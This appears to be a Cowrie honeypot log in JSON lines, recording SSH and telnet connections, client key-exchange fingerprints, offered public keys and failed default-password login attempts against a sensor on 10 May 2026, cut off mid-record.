{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:16:e2:d1:90:31:d8:6f:07:41:22:eb:f5:68:95:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0uJggkWL31FeMUQ9BeNVA9/8Vhyu3wwTnVC8kTXn1pAxmLlgcuf1dpzQUtEe5GeNl4so0ELgjz9llMQDGA6/vuziFWsVzzVgM/O7EnAZEYDQXYoPzKbDJc0kF9DPnLgPWQhooz98LXXPK6ny8SMvWiM0wcSRoy8MDMRgmx94r9y6CK41EYKTmxdohOEzP881Lv5rzeThLBi/un4uHgg6vXRTx5lWck0gp5hJKSrGvf2YgJiqFKpdARoyJqD447FVwo0t9lR/iBtX1qe59enb2PrAReTThi52aJxZ+yj25BT7edA7e2dqIiIO+4CPimqq1qnP0ApJbhVNEZVXnbqxL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:16:e2:d1:90:31:d8:6f:07:41:22:eb:f5:68:95:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:22.870573Z","src_ip":"185.134.49.180","session":"c90852f21f7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:16:e2:d1:90:31:d8:6f:07:41:22:eb:f5:68:95:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0uJggkWL31FeMUQ9BeNVA9/8Vhyu3wwTnVC8kTXn1pAxmLlgcuf1dpzQUtEe5GeNl4so0ELgjz9llMQDGA6/vuziFWsVzzVgM/O7EnAZEYDQXYoPzKbDJc0kF9DPnLgPWQhooz98LXXPK6ny8SMvWiM0wcSRoy8MDMRgmx94r9y6CK41EYKTmxdohOEzP881Lv5rzeThLBi/un4uHgg6vXRTx5lWck0gp5hJKSrGvf2YgJiqFKpdARoyJqD447FVwo0t9lR/iBtX1qe59enb2PrAReTThi52aJxZ+yj25BT7edA7e2dqIiIO+4CPimqq1qnP0ApJbhVNEZVXnbqxL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:22.875575Z","src_ip":"185.134.49.180","session":"c90852f21f7b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"60:60:c9:c9:01:09:52:a2:62:f2:3e:14:c7:6c:9a:cc","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMxNYsPeo8ZEDwY4bXS3zRYwRFdysOMwUSpSeaG74DCI","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 60:60:c9:c9:01:09:52:a2:62:f2:3e:14:c7:6c:9a:cc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:23.001698Z","src_ip":"185.134.49.180","session":"c90852f21f7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"60:60:c9:c9:01:09:52:a2:62:f2:3e:14:c7:6c:9a:cc","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMxNYsPeo8ZEDwY4bXS3zRYwRFdysOMwUSpSeaG74DCI","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:23.008395Z","src_ip":"185.134.49.180","session":"c90852f21f7b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"df:df:64:f3:2a:0d:b4:03:4b:6c:4c:bc:c3:d8:d5:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4u0c5hyWXRolyto4jj/qVpoonUv/Q+aV3lZc+gvkDow+LYpDLZOgaOm8kVPH/ybG+0DhZvjRL4sYFs5UNDAMZ+NLMzc6isqyHlNY6qC1B++YzFupopvObYxmVbPpRSC/VS09v72z6B0teX079PnuTn13/TouJiHR3HDC10CqtxM/87FZ4R0KeoajzzNxec3XLPHepyfk/GpOwiY6DQRDA9fsVCt45v8GCnqvTiWAhwlvwYybBAZb/2ozjVcvn7hVpv0P341J/BFEfF5PuWGePWJksKSpunld3j0As9syOD/cb2MwUvbsSURvzjKdGXg7gwVQ8Cj823XSBwAlTWLlEw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint df:df:64:f3:2a:0d:b4:03:4b:6c:4c:bc:c3:d8:d5:17","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:23.129931Z","src_ip":"185.134.49.180","session":"c90852f21f7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"df:df:64:f3:2a:0d:b4:03:4b:6c:4c:bc:c3:d8:d5:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4u0c5hyWXRolyto4jj/qVpoonUv/Q+aV3lZc+gvkDow+LYpDLZOgaOm8kVPH/ybG+0DhZvjRL4sYFs5UNDAMZ+NLMzc6isqyHlNY6qC1B++YzFupopvObYxmVbPpRSC/VS09v72z6B0teX079PnuTn13/TouJiHR3HDC10CqtxM/87FZ4R0KeoajzzNxec3XLPHepyfk/GpOwiY6DQRDA9fsVCt45v8GCnqvTiWAhwlvwYybBAZb/2ozjVcvn7hVpv0P341J/BFEfF5PuWGePWJksKSpunld3j0As9syOD/cb2MwUvbsSURvzjKdGXg7gwVQ8Cj823XSBwAlTWLlEw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:23.135781Z","src_ip":"185.134.49.180","session":"c90852f21f7b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"34:38:7f:a5:6b:1a:2c:77:df:b9:37:eb:a1:f1:69:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCzrOAjlrQJ6F+niq3atoT0QP/3HXB7xp6MhEivS6ctYQbEGKbbQtAVcg2vVnNminLevGlAl6iNF+fTT6po6b8HJBRmZ4VMNlAwE0HgAJePpeY5lu3KIuTcmga/aeiZtxN96vfA9pjzJ6v3/4culfSBJ+GbtSe6PLKvbPf1ASNxNfKTVVnpie1k/dsx95jHtbJvgAM1rnk8ffbOh5Fpbx8/BEW9VBf8o+ORgC6j7SOZDsy3Pt+DKTL+tLu3mYS9pnKhS3aYvHFKyuKHSWUKB77BQ6oVJPWBiGE+a55LTxU2vn6nRKkPytGYCd4o46atlReF6ActQopAtvZCfQeR13UwqmMW/3iJ4WA1TPh6wP8cuv9tMyKRiPGVgw/mtkRPefY0a8u5XICxZJYvi84FWwP1r+wZXqyNyegVwvVFPDBMi5nuMYcynttofK/4BM4qtu9Jysbe9O6Db9jlGV5wS9gwYg5LqY2Li1eRGHVD8nHfapPDwHO8DLuOpQLGcrkzzU0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 34:38:7f:a5:6b:1a:2c:77:df:b9:37:eb:a1:f1:69:cb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:23.256863Z","src_ip":"185.134.49.180","session":"c90852f21f7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"34:38:7f:a5:6b:1a:2c:77:df:b9:37:eb:a1:f1:69:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCzrOAjlrQJ6F+niq3atoT0QP/3HXB7xp6MhEivS6ctYQbEGKbbQtAVcg2vVnNminLevGlAl6iNF+fTT6po6b8HJBRmZ4VMNlAwE0HgAJePpeY5lu3KIuTcmga/aeiZtxN96vfA9pjzJ6v3/4culfSBJ+GbtSe6PLKvbPf1ASNxNfKTVVnpie1k/dsx95jHtbJvgAM1rnk8ffbOh5Fpbx8/BEW9VBf8o+ORgC6j7SOZDsy3Pt+DKTL+tLu3mYS9pnKhS3aYvHFKyuKHSWUKB77BQ6oVJPWBiGE+a55LTxU2vn6nRKkPytGYCd4o46atlReF6ActQopAtvZCfQeR13UwqmMW/3iJ4WA1TPh6wP8cuv9tMyKRiPGVgw/mtkRPefY0a8u5XICxZJYvi84FWwP1r+wZXqyNyegVwvVFPDBMi5nuMYcynttofK/4BM4qtu9Jysbe9O6Db9jlGV5wS9gwYg5LqY2Li1eRGHVD8nHfapPDwHO8DLuOpQLGcrkzzU0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:23.261401Z","src_ip":"185.134.49.180","session":"c90852f21f7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:23.381950Z","src_ip":"185.134.49.180","session":"c90852f21f7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.76.112.91","src_port":44414,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c7b5d90cf4b","protocol":"ssh","message":"New connection: 180.76.112.91:44414 (10.17.0.5:22) [session: 6c7b5d90cf4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:41.265715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:41.270469Z","src_ip":"180.76.112.91","session":"6c7b5d90cf4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:41.516821Z","src_ip":"180.76.112.91","session":"6c7b5d90cf4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:47.113413Z","src_ip":"180.76.112.91","session":"6c7b5d90cf4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:48.960585Z","src_ip":"180.76.112.91","session":"6c7b5d90cf4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.228.39.20","src_port":23855,"dst_ip":"10.17.0.5","dst_port":23,"session":"6031897a302a","protocol":"telnet","message":"New connection: 168.228.39.20:23855 (10.17.0.5:23) [session: 6031897a302a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:49.761659Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.76.112.91","src_port":51042,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e2273510615","protocol":"ssh","message":"New connection: 180.76.112.91:51042 (10.17.0.5:22) [session: 1e2273510615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:51.134714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:51.139655Z","src_ip":"180.76.112.91","session":"1e2273510615","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:52.112328Z","src_ip":"180.76.112.91","session":"1e2273510615","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian","message":"login attempt [root/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:53.490640Z","src_ip":"180.76.112.91","session":"1e2273510615","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.76.112.91","src_port":56772,"dst_ip":"10.17.0.5","dst_port":22,"session":"96c9ba70d2ab","protocol":"ssh","message":"New connection: 180.76.112.91:56772 (10.17.0.5:22) [session: 96c9ba70d2ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:55.065558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:55.070553Z","src_ip":"180.76.112.91","session":"96c9ba70d2ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:55.396719Z","src_ip":"180.76.112.91","session":"96c9ba70d2ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"centos","message":"login attempt [root/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:56.372416Z","src_ip":"180.76.112.91","session":"96c9ba70d2ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:09:57.704369Z","src_ip":"180.76.112.91","session":"96c9ba70d2ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.613713502883911,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:10:02.375277Z","src_ip":"168.228.39.20","session":"6031897a302a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"21.4","message":"Connection lost after 21.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:10:12.576049Z","src_ip":"180.76.112.91","session":"1e2273510615","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":45967,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb00cf91237d","protocol":"telnet","message":"New connection: 212.55.149.117:45967 (10.17.0.5:23) [session: fb00cf91237d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:11:10.073678Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":58926,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e2107fd14eb","protocol":"ssh","message":"New connection: 103.15.226.202:58926 (10.17.0.5:22) [session: 4e2107fd14eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:11:34.007320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:11:34.013441Z","src_ip":"103.15.226.202","session":"4e2107fd14eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:11:34.263198Z","src_ip":"103.15.226.202","session":"4e2107fd14eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"P@ssw0rd","message":"login attempt [dev/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:11:35.012713Z","src_ip":"103.15.226.202","session":"4e2107fd14eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:11:36.266284Z","src_ip":"103.15.226.202","session":"4e2107fd14eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.681864738464355,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:12:11.755428Z","src_ip":"212.55.149.117","session":"fb00cf91237d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.163.156","src_port":36934,"dst_ip":"10.17.0.5","dst_port":22,"session":"9840c1bc9789","protocol":"ssh","message":"New connection: 64.89.163.156:36934 (10.17.0.5:22) [session: 9840c1bc9789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:12:11.862520Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:12:11.954995Z","src_ip":"64.89.163.156","session":"9840c1bc9789","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.163.156","src_port":36948,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b7c5cbbe6d7","protocol":"ssh","message":"New connection: 64.89.163.156:36948 (10.17.0.5:22) [session: 7b7c5cbbe6d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:12:12.048810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:12:12.054948Z","src_ip":"64.89.163.156","session":"7b7c5cbbe6d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:12:12.151676Z","src_ip":"64.89.163.156","session":"7b7c5cbbe6d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234512345","message":"login attempt [root/1234512345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:12:12.416570Z","src_ip":"64.89.163.156","session":"7b7c5cbbe6d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:12:13.511065Z","src_ip":"64.89.163.156","session":"7b7c5cbbe6d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":36874,"dst_ip":"159.203.135.109","dst_port":22,"session":"e18004dda57b","protocol":"ssh","message":"New connection: 2.57.122.208:36874 (159.203.135.109:22) [session: e18004dda57b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:12:39.386757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:12:39.704961Z","src_ip":"2.57.122.208","session":"e18004dda57b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ec